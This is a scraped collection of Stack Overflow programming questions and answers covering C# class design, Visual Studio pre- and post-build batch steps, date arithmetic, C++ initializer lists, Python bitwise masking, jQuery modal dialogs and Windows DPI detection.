... However, you should take another look at what you're trying to accomplish. If you have common code that needs to get to properties of ClassA and ClassB, then you may be better off wrapping access to those properties up into a shared, virtual property or method in the ancestor class.
Something like:
```
public class BaseClass
{
public virtual void DoStuff() { }
}
public class ClassA : BaseClass
{
public object PropertyA { get; set; }
public override void DoStuff()
{
// do stuff with PropertyA
}
}
public class ClassB : BaseClass
{
public object PropertyB { get; set; }
public override void DoStuff()
{
// do stuff with PropertyB
}
}
```
|
210,606 |
<p>Is there a way to invoke an external script or batch file from VC6 (and later) project files?</p>
<p>I have a background process that I need to kill before attempting to build certain projects (DLLS, executables) and haven't found a way to successfully do so from the project itself. I'd like simply to call a batch file with a taskkill command in it.</p>
<p>(Yes, I could run the batch file from a command line before building the projects, but I don't always remember to do so and having it done automatically would be more convenient and less irritating for the whole development team.)</p>
|
[
{
"answer_id": 210624,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>You could invoke it from a <a href=\"http://msdn.microsoft.com/en-us/library/e85wte0k(VS.80).aspx\" rel=\"nofollow noreferrer\">custom build step or a build event</a>.</p>\n"
},
{
"answer_id": 210689,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 0,
"selected": false,
"text": "<p>At least for C# in Visual Studio 2008, you can open the project file and find within the file the following comment:</p>\n\n<pre><code><!-- To modify your build process, add your task inside one of the targets below and uncomment it. \n Other similar extension points exist, see Microsoft.Common.targets.\n<Target Name=\"BeforeBuild\">\n</Target>\n<Target Name=\"AfterBuild\">\n</Target>\n-->\n</code></pre>\n\n<p>Uncomment the one that works best for you, in this case the \"BeforeBuild\" item. Then substitute your batch file for the one I have here:</p>\n\n<pre><code><Target Name=\"BeforeBuild\">\n <Exec Command=\"MyBatchFile.bat\" />\n</Target>\n</code></pre>\n\n<p>That's all there is to it; whenever you build that project, this will take place each and every time. </p>\n\n<p>That said, I do not know if this works the same for VS 2005 or, especially, VC6. <strong>YMMV!</strong></p>\n"
},
{
"answer_id": 212723,
"author": "David",
"author_id": 28275,
"author_profile": "https://Stackoverflow.com/users/28275",
"pm_score": 1,
"selected": false,
"text": "<p>You can create a utility project (configuration type: Utility in the project property pages) that has a post build event. You then call the batch file from that Post-Build event. If I remember correctly, utility configuration appeared in VS2005. But I believe the same can be achieved with another type of configuration on VC6.</p>\n\n<p>Here is an example of a setup (this is the text of the Command Line property of the Post-Build Event):</p>\n\n<pre><code>set solutionDir=$(SolutionDir)\nset platformName=$(PlatformName)\nset configurationName=$(ConfigurationName)\n\ncall $(SolutionDir)PostBuild.bat\n</code></pre>\n\n<p>As you can see, you have all the flexibility of customizing the batch environment based on VisualStudio macros. </p>\n\n<p>If you want to have this batch file called every time you build, add a dependency to the requiring project (your main executable or dll project for example). You can add your batch file to the solution items for convenient access (right-click on the solution and select Add -> Existing Item...).</p>\n\n<p>You can even invoke the build command on this utility project to force the execution of the batch file.</p>\n\n<p>At work we have a similar setup to start our unit tests each time a build is triggered.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210606",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
Is there a way to invoke an external script or batch file from VC6 (and later) project files?
I have a background process that I need to kill before attempting to build certain projects (DLLS, executables) and haven't found a way to successfully do so from the project itself. I'd like simply to call a batch file with a taskkill command in it.
(Yes, I could run the batch file from a command line before building the projects, but I don't always remember to do so and having it done automatically would be more convenient and less irritating for the whole development team.)
|
You can create a utility project (configuration type: Utility in the project property pages) that has a post build event. You then call the batch file from that Post-Build event. If I remember correctly, utility configuration appeared in VS2005. But I believe the same can be achieved with another type of configuration on VC6.
Here is an example of a setup (this is the text of the Command Line property of the Post-Build Event):
```
set solutionDir=$(SolutionDir)
set platformName=$(PlatformName)
set configurationName=$(ConfigurationName)
call $(SolutionDir)PostBuild.bat
```
As you can see, you have all the flexibility of customizing the batch environment based on VisualStudio macros.
If you want to have this batch file called every time you build, add a dependency to the requiring project (your main executable or dll project for example). You can add your batch file to the solution items for convenient access (right-click on the solution and select Add -> Existing Item...).
You can even invoke the build command on this utility project to force the execution of the batch file.
At work we have a similar setup to start our unit tests each time a build is triggered.
|
210,607 |
<p>I would like to know many minutes between 2 dates?</p>
<p>Example : Now - tommorow at the exact time would return me 1440.</p>
|
[
{
"answer_id": 210609,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 3,
"selected": false,
"text": "<p>Look at the TimeSpan class.</p>\n\n<pre><code> DateTime date1 = DateTime.Now;\n DateTime date2 = DateTime.Now.AddDays(1);\n\n TimeSpan diff = date2.Subtract(date1);\n Console.WriteLine(diff.Minutes);\n</code></pre>\n"
},
{
"answer_id": 210611,
"author": "Patrick Desjardins",
"author_id": 13913,
"author_profile": "https://Stackoverflow.com/users/13913",
"pm_score": -1,
"selected": false,
"text": "<pre><code>DateTime currentTime = DateTime.Now;\nDateTime tommorowTime = currentTime.AddDays(1);\nTimeSpan diffTime = tommorowTime - currentTime ;\nConsole.WriteLine(diffTime.TotalMinutes);\n</code></pre>\n"
},
{
"answer_id": 210619,
"author": "John Sheehan",
"author_id": 1786,
"author_profile": "https://Stackoverflow.com/users/1786",
"pm_score": 5,
"selected": true,
"text": "<pre><code>DateTime dt1 = DateTime.Now;\nDateTime dt2 = DateTime.Now.AddDays(1);\n\nint diff = dt2.Subtract(dt1).TotalMinutes;\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210607",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14441/"
] |
I would like to know many minutes between 2 dates?
Example : Now - tommorow at the exact time would return me 1440.
|
```
DateTime dt1 = DateTime.Now;
DateTime dt2 = DateTime.Now.AddDays(1);
int diff = dt2.Subtract(dt1).TotalMinutes;
```
|
210,616 |
<p>I'm reading this C++ open source code and I came to a constructor but I don't get it ( basically because I don't know C++ :P ) </p>
<p>I understand C and Java very well.</p>
<pre><code> TransparentObject::TransparentObject( int w, int x, int y, int z ) :
_someMethod( 0 ),
_someOtherMethod( 0 ),
_someOtherOtherMethod( 0 ),
_someMethodX( 0 )
{
int bla;
int bla;
}
</code></pre>
<p>As far I can "deduce" The first line only declares the construtor name, the "::" sounds like "belongs to" to me. And the code between {} is the constructor body it self. </p>
<p>I "think" what's after the paremeters and the first "{" are like methods default parameters or something, but I don't find a reasonable explanation on the web. Most of the C++ constructors that I found in the examples are almost identical to those in Java.</p>
<p>I'm I right in my assumptions? "::" is like belongs to, and the list after params and body are like "default args" or something?</p>
<p><strong>UPDATE:</strong>
Thanks for the answers.
May those be called methods? ( I guess no ) and what is the difference of call them within the constructor body</p>
|
[
{
"answer_id": 210630,
"author": "mdec",
"author_id": 15534,
"author_profile": "https://Stackoverflow.com/users/15534",
"pm_score": 3,
"selected": false,
"text": "<p>:: Actually means contains (see comments for clarification), however the _someMethods and so forth is what's called an <a href=\"http://www.cprogramming.com/tutorial/initialization-lists-c++.html\" rel=\"nofollow noreferrer\">initialisation list</a>. There is plenty of info at the link =]</p>\n\n<p>EDIT: Sorry, my first sentence is incorrect - see the comments.</p>\n"
},
{
"answer_id": 210632,
"author": "Tilendor",
"author_id": 1470,
"author_profile": "https://Stackoverflow.com/users/1470",
"pm_score": 1,
"selected": false,
"text": "<p>You're correct. Its a way to set the default values for the class variables. I'm not too familiar with the exact difference between putting them after : and in the function body.</p>\n"
},
{
"answer_id": 210633,
"author": "Jeff Linahan",
"author_id": 2222,
"author_profile": "https://Stackoverflow.com/users/2222",
"pm_score": 2,
"selected": false,
"text": "<p>Yes, :: is the C++ scoping operator which lets you tell the compiler what the function belongs to. Using a : after the constructor declaration starts what is called an initialization list.</p>\n"
},
{
"answer_id": 210636,
"author": "dmckee --- ex-moderator kitten",
"author_id": 2509,
"author_profile": "https://Stackoverflow.com/users/2509",
"pm_score": 2,
"selected": false,
"text": "<p>The code between the argument list and the <code>{}</code>s specifies the initialization of (some of) the class members.</p>\n\n<p>Initialization as opposed to assignment---they are different things---so these are all calls to constructors.</p>\n"
},
{
"answer_id": 210638,
"author": "Jason Baker",
"author_id": 2147,
"author_profile": "https://Stackoverflow.com/users/2147",
"pm_score": 5,
"selected": true,
"text": "<p>The most common case is this:</p>\n\n<pre><code>class foo{\nprivate:\n int x;\n int y;\npublic:\n foo(int _x, int _y) : x(_x), y(_y) {}\n}\n</code></pre>\n\n<p>This will set <code>x</code> and <code>y</code> to the values that are given in <code>_x</code> and <code>_y</code> in the constructor parameters. This is often the best way to construct any objects that are declared as data members.</p>\n\n<p>It is also possible that you were looking at constructor chaining:</p>\n\n<pre><code>class foo : public bar{\n foo(int x, int y) : bar(x, y) {}\n};\n</code></pre>\n\n<p>In this instance, the class's constructor will call the constructor of its base class and pass the values <code>x</code> and <code>y</code>.</p>\n\n<p>To dissect the function even further:</p>\n\n<pre><code>TransparentObject::TransparentObject( int w, int x, int y, int z ) : \n _someMethod( 0 ),\n _someOtherMethod( 0 ),\n _someOtherOtherMethod( 0 ),\n _someMethodX( 0 ) \n{\n int bla;\n int bla;\n}\n</code></pre>\n\n<p>The <code>::</code>-operator is called the scope resolution operator. It basically just indicates that <code>TransparentObject</code> is a member of <code>TransparentObject</code>. Secondly, you are correct in assuming that the body of the constructor occurs in the curly braces.</p>\n\n<blockquote>\n <p>UPDATE: Thanks for the answers. May those be called methods? ( I guess no ) and what is the difference of call them within the constructor body</p>\n</blockquote>\n\n<p>There is much more information on this subject than I could possibly ever give you <a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.6\" rel=\"noreferrer\">here</a>. The most common area where you have to use initializer lists is when you're initializing a reference or a <code>const</code> as these variables must be given a value immediately upon creation.</p>\n"
},
{
"answer_id": 210641,
"author": "Adam Pierce",
"author_id": 5324,
"author_profile": "https://Stackoverflow.com/users/5324",
"pm_score": 3,
"selected": false,
"text": "<p>You are pretty close. The first line is the declaration. The label left of the :: is the class name and for it to be a constructor, the function name has to be the same as the class name.</p>\n\n<pre><code>TransparentObject::TransparentObject( int w, int x, int y, int z )\n</code></pre>\n\n<p>In C++ you can optionally put a colon and some initial values for member variables before the start of the function body. This technique must be used if you are initialzing any <strong>const</strong> variables or passing parameters to a superclass constructor.</p>\n\n<pre><code>: \n _someMethod( 0 ),\n _someOtherMethod( 0 ),\n _someOtherOtherMethod( 0 ),\n _someMethodX( 0 )\n</code></pre>\n\n<p>And then comes the body of the constructor in curly braces.</p>\n\n<pre><code>{\n int bla;\n int bla;\n}\n</code></pre>\n"
},
{
"answer_id": 329080,
"author": "Michel",
"author_id": 31122,
"author_profile": "https://Stackoverflow.com/users/31122",
"pm_score": 1,
"selected": false,
"text": "<p>There are usually some good reasons to use an initialization list. For one, you cannot set member variables that are references outside of the initialization list of the constructor. Also if a member variable needs certain arguments to its own constructor, you have to pass them in here. Compare this:</p>\n\n<pre><code>class A\n{\npublic:\n A();\nprivate:\n B _b;\n C& _c;\n};\n\nA::A( C& someC )\n{\n _c = someC; // this is illegal and won't compile. _c has to be initialized before we get inside the braces\n _b = B(NULL, 5, \"hello\"); // this is not illegal, but B might not have a default constructor or could have a very \n // expensive construction that shouldn't be done more than once\n}\n</code></pre>\n\n<p>to this version:</p>\n\n<pre><code>A::A( C& someC )\n: _b(NULL, 5, \"hello\") // ok, initializing _b by passing these arguments to its constructor\n, _c( someC ) // this reference to some instance of C is correctly initialized now\n{}\n</code></pre>\n"
},
{
"answer_id": 8104591,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Without using the initialiser list all class members will simply have their default constructor called so this is the only place that you can control <em>which</em> constructor is called (for non-dynamically allocated members). The same is true for which parent class constructor will be called.</p>\n\n<p>Class members \"initialised\" within the body of the constructor (i.e. between the {} braces using the = operator) isn't technically initialisation, it's an assignment. For classes with a non-trivial constructor/destructor it can be costly to default construct and then modify through assignment in this way. For reference members you <em>must</em> use the initialiser list since they cannot be changed via the assignment operator.</p>\n\n<p>If the member (or parent class) does not have a default constructor then failing to specify an appropriate constructor in the initialiser list will cause the compiler to generate an error. Otherwise the compiler will insert the default constructor calls itself. For built in types this does nothing so you will have garbage values there. </p>\n\n<p><strong>Note that the order in which you specify the members in the initialiser list does not affect the order in which they are called</strong>. It is always the parent class constructor (if any) first, then the class members in the order in which they are defined in the class definition. The order in which you put them in the initialiser list does not matter and can be the source of subtle bugs...</p>\n\n<p>In the contrived example below it looks like the intention is to initialise <code>m_b</code> with <code>value</code> then <code>m_a</code> with <code>m_b</code>, but what actually happens is that <code>m_a</code> is initialised with <code>m_b</code> (which is itself not yet initialised) then <code>m_b</code> gets initialised with <code>value</code>. <code>m_b</code> will just contain garbage!</p>\n\n<pre><code>struct BadInitialiserListExample\n{\n BadInitialiserListExample(int value) :\n m_b(value),\n m_a(m_b) // <-- *BUG* this is actually executed first due to ordering below!\n {\n }\n\n int m_a;\n int m_b;\n};\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210616",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20654/"
] |
I'm reading this C++ open source code and I came to a constructor but I don't get it ( basically because I don't know C++ :P )
I understand C and Java very well.
```
TransparentObject::TransparentObject( int w, int x, int y, int z ) :
_someMethod( 0 ),
_someOtherMethod( 0 ),
_someOtherOtherMethod( 0 ),
_someMethodX( 0 )
{
int bla;
int bla;
}
```
As far I can "deduce" The first line only declares the construtor name, the "::" sounds like "belongs to" to me. And the code between {} is the constructor body it self.
I "think" what's after the paremeters and the first "{" are like methods default parameters or something, but I don't find a reasonable explanation on the web. Most of the C++ constructors that I found in the examples are almost identical to those in Java.
I'm I right in my assumptions? "::" is like belongs to, and the list after params and body are like "default args" or something?
**UPDATE:**
Thanks for the answers.
May those be called methods? ( I guess no ) and what is the difference of call them within the constructor body
|
The most common case is this:
```
class foo{
private:
int x;
int y;
public:
foo(int _x, int _y) : x(_x), y(_y) {}
}
```
This will set `x` and `y` to the values that are given in `_x` and `_y` in the constructor parameters. This is often the best way to construct any objects that are declared as data members.
It is also possible that you were looking at constructor chaining:
```
class foo : public bar{
foo(int x, int y) : bar(x, y) {}
};
```
In this instance, the class's constructor will call the constructor of its base class and pass the values `x` and `y`.
To dissect the function even further:
```
TransparentObject::TransparentObject( int w, int x, int y, int z ) :
_someMethod( 0 ),
_someOtherMethod( 0 ),
_someOtherOtherMethod( 0 ),
_someMethodX( 0 )
{
int bla;
int bla;
}
```
The `::`-operator is called the scope resolution operator. It basically just indicates that `TransparentObject` is a member of `TransparentObject`. Secondly, you are correct in assuming that the body of the constructor occurs in the curly braces.
>
> UPDATE: Thanks for the answers. May those be called methods? ( I guess no ) and what is the difference of call them within the constructor body
>
>
>
There is much more information on this subject than I could possibly ever give you [here](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.6). The most common area where you have to use initializer lists is when you're initializing a reference or a `const` as these variables must be given a value immediately upon creation.
|
210,620 |
<p>I have created HTTP handlers. </p>
<p>How do I create global variables for these handlers like I can with ASP.net web pages in global.asax?</p>
|
[
{
"answer_id": 210626,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 4,
"selected": true,
"text": "<p>Add the variables to the Application instance:</p>\n\n<pre><code>System.Web.HttpContext.Current.Application[\"MyGlobalVariable\"] = myValue;\n</code></pre>\n\n<p>Or, if the variable only need to live for the life of an individual request, use the Context object's Items collection:</p>\n\n<pre><code>System.Web.HttpContext.Current.Items[\"MyGlobalVariable\"] = myValue;\n</code></pre>\n\n<p>Again, that will live for only the life of a single request.</p>\n"
},
{
"answer_id": 210647,
"author": "Jason Whitehorn",
"author_id": 27860,
"author_profile": "https://Stackoverflow.com/users/27860",
"pm_score": 2,
"selected": false,
"text": "<p>If your handler is specified as reusable you can also use static class members.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210620",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1100768/"
] |
I have created HTTP handlers.
How do I create global variables for these handlers like I can with ASP.net web pages in global.asax?
|
Add the variables to the Application instance:
```
System.Web.HttpContext.Current.Application["MyGlobalVariable"] = myValue;
```
Or, if the variable only need to live for the life of an individual request, use the Context object's Items collection:
```
System.Web.HttpContext.Current.Items["MyGlobalVariable"] = myValue;
```
Again, that will live for only the life of a single request.
|
210,629 |
<p>Trying to answer to another post whose solution deals with IP addresses and netmasks, I got stuck with plain bitwise arithmetic.</p>
<p>Is there a standard way, in Python, to carry on bitwise AND, OR, XOR, NOT operations assuming that the inputs are "32 bit" (maybe negative) integers or longs, and that the result must be a long in the range [0, 2**32]?</p>
<p>In other words, I need a working Python counterpart to the C bitwise operations between unsigned longs.</p>
<p>EDIT: the specific issue is this:</p>
<pre><code>>>> m = 0xFFFFFF00 # netmask 255.255.255.0
>>> ~m
-4294967041L # wtf?! I want 255
</code></pre>
|
[
{
"answer_id": 210707,
"author": "pixelbeat",
"author_id": 4421,
"author_profile": "https://Stackoverflow.com/users/4421",
"pm_score": 4,
"selected": false,
"text": "<pre><code>from numpy import uint32\n</code></pre>\n"
},
{
"answer_id": 210740,
"author": "DzinX",
"author_id": 18745,
"author_profile": "https://Stackoverflow.com/users/18745",
"pm_score": 6,
"selected": false,
"text": "<p>You can use <a href=\"http://docs.python.org/lib/module-ctypes.html\" rel=\"noreferrer\">ctypes</a> and its <code>c_uint32</code>:</p>\n\n<pre><code>>>> import ctypes\n>>> m = 0xFFFFFF00\n>>> ctypes.c_uint32(~m).value\n255L\n</code></pre>\n\n<p>So what I did here was casting <code>~m</code> to a C 32-bit unsigned integer and retrieving its value back in Python format.</p>\n"
},
{
"answer_id": 210747,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": 7,
"selected": true,
"text": "<p>You can mask everything by <code>0xFFFFFFFF</code>:</p>\n\n<pre><code>>>> m = 0xFFFFFF00\n>>> allf = 0xFFFFFFFF\n>>> ~m & allf\n255L\n</code></pre>\n"
},
{
"answer_id": 211342,
"author": "tzot",
"author_id": 6899,
"author_profile": "https://Stackoverflow.com/users/6899",
"pm_score": 1,
"selected": false,
"text": "<p>This is a module that I created a long time ago, and it might be of help to you:</p>\n\n<p><a href=\"http://pypi.python.org/pypi/IPv4_Utils/0.35\" rel=\"nofollow noreferrer\">IPv4Utils</a></p>\n\n<p>It provides at least a <code>CIDR</code> class with subnet arithmetic. Check the test cases at the end of the module for examples.</p>\n"
},
{
"answer_id": 34951075,
"author": "Maarten",
"author_id": 349760,
"author_profile": "https://Stackoverflow.com/users/349760",
"pm_score": 3,
"selected": false,
"text": "<p>You could also xor with 0xFFFFFFFF, which is equivalent to the \"unsigned complement\".</p>\n\n<pre><code>>>> 0xFFFFFF00 ^ 0xFFFFFFFF\n255\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210629",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18770/"
] |
Trying to answer to another post whose solution deals with IP addresses and netmasks, I got stuck with plain bitwise arithmetic.
Is there a standard way, in Python, to carry on bitwise AND, OR, XOR, NOT operations assuming that the inputs are "32 bit" (maybe negative) integers or longs, and that the result must be a long in the range [0, 2\*\*32]?
In other words, I need a working Python counterpart to the C bitwise operations between unsigned longs.
EDIT: the specific issue is this:
```
>>> m = 0xFFFFFF00 # netmask 255.255.255.0
>>> ~m
-4294967041L # wtf?! I want 255
```
|
You can mask everything by `0xFFFFFFFF`:
```
>>> m = 0xFFFFFF00
>>> allf = 0xFFFFFFFF
>>> ~m & allf
255L
```
|
210,637 |
<p>I have been looking at <a href="http://jquery.com/demo/thickbox/" rel="nofollow noreferrer">jQUery thickbox</a> for showing modal dialogs with images, it is great. But now I have the need to display a hidden div of content that contains an iFrame in a similar fashion, with a link to open the content. So I'd have something like this.</p>
<pre><code><a href="">Open window in Modal Dialog</a>
<div id="myContent">
<h1>Look at me!</h1>
<iframe src="http://www.google.com" />
</div>
</code></pre>
<p>And need to show it in the dialog. Is it possible?</p>
|
[
{
"answer_id": 210644,
"author": "John Sheehan",
"author_id": 1786,
"author_profile": "https://Stackoverflow.com/users/1786",
"pm_score": 4,
"selected": true,
"text": "<p>Thickbox supports that. See inline content demo at <a href=\"http://jquery.com/demo/thickbox/\" rel=\"noreferrer\">http://jquery.com/demo/thickbox/</a></p>\n"
},
{
"answer_id": 210654,
"author": "Craig",
"author_id": 27294,
"author_profile": "https://Stackoverflow.com/users/27294",
"pm_score": 2,
"selected": false,
"text": "<p>I use jqModal and it works nicely and is lightweight. Here is how I get it to work with an iFrame</p>\n\n<p>This is html</p>\n\n<pre><code><div class=\"jqmWindow\" id=\"modalDialog\"> \n <iframe frameborder=\"0\" id=\"jqmContent\" src=\"\"> \n </iframe> \n</div>\n</code></pre>\n\n<p>And the calling code</p>\n\n<pre><code>function showModal(url, height, width)\n{ \n var dialog = $('#modalDialog')\n .jqm({ \n onShow: function(h) {\n var $modal = $(h.w); \n var $modalContent = $(\"iframe\", $modal); \n $modalContent.html('').attr('src', url); \n if (height > 0) $modal.height(height); \n if (width > 0) $modal.width(width); \n h.w.show(); \n } \n }).jqmShow(); \n}\n\nfunction closeModal(postback)\n{\n $('#modalDialog').jqmHide();\n}\n</code></pre>\n"
},
{
"answer_id": 3056937,
"author": "Tracker1",
"author_id": 43906,
"author_profile": "https://Stackoverflow.com/users/43906",
"pm_score": 0,
"selected": false,
"text": "<p>I have an extension to jQueryUI's dialog that uses an iFrame as it's base view... it adjusts a few defaults (like adding an OK/Cancel button) but should be a decent base for what you need. I know this is an old question, but just wanting to make people aware of it.</p>\n\n<p><a href=\"http://plugins.jquery.com/project/jquery-framedialog\" rel=\"nofollow noreferrer\"><a href=\"http://plugins.jquery.com/project/jquery-framedialog\" rel=\"nofollow noreferrer\">http://plugins.jquery.com/project/jquery-framedialog</a></a></p>\n"
},
{
"answer_id": 3310036,
"author": "Tahir Hassan",
"author_id": 288393,
"author_profile": "https://Stackoverflow.com/users/288393",
"pm_score": 0,
"selected": false,
"text": "<p>Below are the details of my fix. Hopefully you can integrate these changes into your JQuery plugin. I am using jquery 1.4.2 and jquery UI 1.8.2.</p>\n\n<p>In jquery-frameddialog.js, I changed the width and height to be 100% (not px) and then changed the FIX for jQueryUI 1.7 to be the following instead:</p>\n\n<pre><code>wrap.bind('dragstart', function() { overlay.show(); })\n .bind('dragstop', function() { overlay.hide(); })\n .bind('resizestart', function() { overlay.show(); })\n .bind('resizestop', function() { overlay.hide(); });\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210637",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13279/"
] |
I have been looking at [jQUery thickbox](http://jquery.com/demo/thickbox/) for showing modal dialogs with images, it is great. But now I have the need to display a hidden div of content that contains an iFrame in a similar fashion, with a link to open the content. So I'd have something like this.
```
<a href="">Open window in Modal Dialog</a>
<div id="myContent">
<h1>Look at me!</h1>
<iframe src="http://www.google.com" />
</div>
```
And need to show it in the dialog. Is it possible?
|
Thickbox supports that. See inline content demo at <http://jquery.com/demo/thickbox/>
|
210,646 |
<p>I'm trying to determine how I can detect when the user changes the Windows Font Size from Normal to Extra Large Fonts, the font size is selected by executing the following steps on a Windows XP machine:</p>
<ol>
<li>Right-click on the desktop and select Properties.</li>
<li>Click on the Appearance Tab.</li>
<li>Select the Font Size: Normal/Large Fonts/Extra Large Fonts</li>
</ol>
<p>My understanding is that the font size change results in a DPI change, so here is what I've tried so far.</p>
<hr>
<h2>My Goal:</h2>
<p>I want to detect when the <strong>Windows Font Size</strong> has changed from Normal to Large or Extra Large Fonts and take some actions based on that font size change. I assume that when the Windows Font Size changes, the DPI will also change (especially when the size is Extra Large Fonts</p>
<hr>
<h2>What I've tried so far:</h2>
<p>I receive several messages including: WM_SETTINGCHANGE, WM_NCCALCSIZE, WM_NCPAINT, etc... but none of these messages are unique to the situation when the font size changes, in other words, when I receive the WM_SETTINGSCHANGE message I want to know what changed.</p>
<p>In theory when I define the OnSettingChange and Windows calls it, the lpszSection should tell me what the changing section is, and that works fine, but then I check the given section by calling SystemParametersInfo and I pass in the action SPI_GETNONCLIENTMETRICS, and I step through the debugger and I make sure that I watch the data in the returned NONCLIENTMETRICS for any font changes, but none occur.</p>
<p>Even if that didn't work, I should still be able to check the DPI when the Settings change. I really wouldn't care about the other details, every time I get the WM_SETTINGCHANGE message, I would just check the DPI and perform the actions I'm interested in performing, but I'm not able to get the system DPI either.</p>
<p>I have tried to get the DPI by invoking the method GetSystemMetrics, also for each DC:</p>
<p>Dekstop DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY
Window DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY
Current DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY</p>
<p>Even if I change the DPI in the Graphic Properties Window these values don't return anything different, they always show 96.</p>
<p>Could anybody help me figure this out please? What should I be looking for? Where should I be looking at?</p>
<pre><code>afx_msg void CMainFrame::OnSettingChange(UINT uFlags, LPCTSTR lpszSection)
{
int windowDPI = 0;
int deviceDPI = 0;
int systemDPI = 0;
int desktopDPI = 0;
int dpi_00_X = 0;
int dpi_01_X = 0;
int dpi_02_X = 0;
int dpi_03_X = 0;
CDC* windowDC = CWnd::GetWindowDC(); // try with window DC
HDC desktop = ::GetDC(NULL); // try with desktop DC
CDC* device = CWnd::GetDC(); // try with current DC
HDC hDC = *device; // try with HDC
if( windowDC )
{
windowDPI = windowDC->GetDeviceCaps(LOGPIXELSY);
// always 96 regardless if I change the Font
// Size to Extra Large Fonts or keep it at Normal
dpi_00_X = windowDC->GetDeviceCaps(LOGPIXELSX); // 96
}
if( desktop )
{
desktopDPI = ::GetDeviceCaps(desktop, LOGPIXELSY); // 96
dpi_01_X = ::GetDeviceCaps(desktop, LOGPIXELSX); // 96
}
if( device )
{
deviceDPI = device->GetDeviceCaps(LOGPIXELSY); // 96
dpi_02_X = device->GetDeviceCaps(LOGPIXELSX); // 96
}
systemDPI = ::GetDeviceCaps(hDC, LOGPIXELSY); // 96
dpi_03_X = ::GetDeviceCaps(hDC, LOGPIXELSX); // 96
CWnd::ReleaseDC(device);
CWnd::ReleaseDC(windowDC);
::ReleaseDC(NULL, desktop);
::ReleaseDC(NULL, hDC);
CWnd::OnWinSettingChange(uFlags, lpszSection);
}
</code></pre>
<p>The DPI always returns 96, but the settings changes DO take effect when I change the font size to Extra Large Fonts or if I change the DPI to 120 (from the graphics properties).</p>
|
[
{
"answer_id": 211790,
"author": "Tim Farley",
"author_id": 4425,
"author_profile": "https://Stackoverflow.com/users/4425",
"pm_score": 2,
"selected": false,
"text": "<p>When you call GetDeviceCaps() on the Desktop DC, are you perhaps using a DC that might be cached by MFC, and therefore contains out-of-date information? Are you making the GetDeviceCaps() call synchronously from inside your OnSettingsChange handler? I could see how either or both of these things might get you an out of date version of DPI. </p>\n\n<p>Raymond Chen <a href=\"https://devblogs.microsoft.com/oldnewthing/20040714-00/?p=38443\" rel=\"nofollow noreferrer\">wrote about this</a> and his solution looked like this (Note that I've added :: operators to avoid calling the MFC wrappers of the APIs):</p>\n\n<pre><code>int GetScreenDPI()\n{\n HDC hdcScreen = ::GetDC(NULL);\n int iDPI = -1; // assume failure\n if (hdcScreen) {\n iDPI = ::GetDeviceCaps(hdcScreen, LOGPIXELSX);\n ::ReleaseDC(NULL, hdcScreen);\n }\n return iDPI;\n}\n</code></pre>\n"
},
{
"answer_id": 211980,
"author": "Aidan Ryan",
"author_id": 1042,
"author_profile": "https://Stackoverflow.com/users/1042",
"pm_score": 3,
"selected": true,
"text": "<p>[EDIT after re-read] I'm almost positive that changing to \"Large fonts\" does not cause a DPI change, rather it's a theme setting. You should be able to verify by applying the \"Large fonts\" change and then opening the advanced display properties where the DPI setting lives, it should have remained at 96dpi.</p>\n\n<p><hr/>\nDPI change is supposed to require a reboot. Maybe the setting hasn't propagated to a place where GetDeviceCaps can retrieve it?</p>\n\n<p>Maybe try changing a non-reboot-requiring setting (resolution perhaps) and then see if you can detect the change. If you can, your answer is probably that you can't detect DPI change until after reboot.</p>\n"
},
{
"answer_id": 213324,
"author": "Aidan Ryan",
"author_id": 1042,
"author_profile": "https://Stackoverflow.com/users/1042",
"pm_score": 2,
"selected": false,
"text": "<p>I have a hunch WM_THEMECHANGED will take care of you. It doesn't have any hinting about what changed, though. You'll have to use OpenThemeData and cache initial settings, then compare every time you get the message.</p>\n\n<p>You probably don't need to care what changed though, can't you have a general-purpose layout routine that adjusts your form/dialog/whatever by taking everything into account and assumes starting from scratch?</p>\n\n<p>What problem are you trying to solve?</p>\n"
},
{
"answer_id": 213373,
"author": "jeffm",
"author_id": 1544,
"author_profile": "https://Stackoverflow.com/users/1544",
"pm_score": 0,
"selected": false,
"text": "<p>I don't think the display DPI changes when the font size changes. Windows is probably just sending the <code>WM_PAINT</code> and <code>WM_NCPAINT</code> messages to all open windows, and they're redrawing themselves using the current (now large) system font.</p>\n"
},
{
"answer_id": 285698,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>See <a href=\"http://msdn.microsoft.com/en-us/library/ms701681(VS.85).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/ms701681(VS.85).aspx</a> , this is explained there (quote: \"If you do not cancel dpi scaling, this call returns the default value of 96 dpi.\")</p>\n"
},
{
"answer_id": 1051037,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
